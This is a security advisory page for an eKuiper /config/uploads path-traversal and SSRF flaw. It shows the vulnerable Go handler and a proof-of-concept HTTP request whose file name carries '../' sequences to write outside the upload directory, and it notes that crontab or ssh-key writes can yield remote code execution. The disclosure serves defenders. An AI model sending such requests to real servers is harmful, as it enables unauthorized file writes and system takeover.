GHSA-gj54-gwj9-x2c6: eKuiper /config/uploads API arbitrary file writing may lead to RCE
Summary eKuiper /config/uploads API supports accessing remote web URLs and saving files in the local upload directory, but there are no security restrictions, resulting in arbitrary file writing through ../. If run with root privileges, RCE can be achieved by writing crontab files or ssh keys. Details - The fc.Name parameter do not safely filtered.
Published Jul 3, 2025
Affected packages
github.com/lf-edge/ekuiper/v2
- Ecosystem
- Go
- Affected
- < 2.2.0
- Fixed in
- 2.2.0
- Check
go list -m github.com/lf-edge/ekuiper/v2
github.com/lf-edge/ekuiper
- Ecosystem
- Go
- Affected
- <= 1.14.7
- Fixed in
- No patched version yet
- Check
go list -m github.com/lf-edge/ekuiper
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
eKuiper /config/uploads API supports accessing remote web URLs and saving files in the local upload directory, but there are no security restrictions, resulting in arbitrary file writing through ../. If run with root privileges, RCE can be achieved by writing crontab files or ssh keys.
Details
func fileUploadHandler(w http.ResponseWriter, r *http.Request) {
switch r.Method {
// Upload or overwrite a file
case http.MethodPost:
switch r.Header.Get("Content-Type") {
case "application/json":
fc := &fileContent{}
defer r.Body.Close()
err := json.NewDecoder(r.Body).Decode(fc)
if err != nil {
handleError(w, err, "Invalid body: Error decoding file json", logger)
return
}
err = fc.Validate()
if err != nil {
handleError(w, err, "Invalid body: missing necessary field", logger)
return
}
filePath := filepath.Join(uploadDir, fc.Name)
err = upload(fc)- The fc.Name parameter do not safely filtered.
PoC
POST /config/uploads HTTP/1.1
Host: localhost:9081
Content-Type: application/json
Content-Length: 89
{
"name": "../../../../tmp/success",
"file": "http://192.168.65.254:8888/success"
}image
Impact
Tested and verified only on 1.14.3 and 1.14.1, theoretically all versions using this code could be affected.
- SSRF
- Path-Travel
- May leads to RCE
The reporters is m0d9 from Tencent YunDing Lab.
Credited to yangbh.
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
More Go vulnerabilities
All Go entriesCVE-2025-24978
LF Edge eKuiper: Self-XSS in External Service Creation
low3.7Sep 9, 2026CVE-2025-24979
LF Edge eKuiper: SSRF in External Service
medium5.5Sep 9, 2026CVE-2025-58363
LF Edge eKuiper: Arbitrary File and Directory Deletion via Path Traversal in Plugin Installation Endpoint
medium5.5Sep 9, 2026GHSA-rj4j-2jph-gg43
LF Edge eKuiper is vulnerable to Arbitrary File Read/Write via unsanitized names and zip extraction
critical9.3Nov 24, 2025CVE-2025-54379
eKuiper API endpoints handling SQL queries with user-controlled table names.
high8.9No fixJul 24, 2025GHSA-fv2p-qj5p-wqq4
LF Edge eKuiper vulnerable to File Path Traversal leading to file replacement
high8.5No fixJul 3, 2025
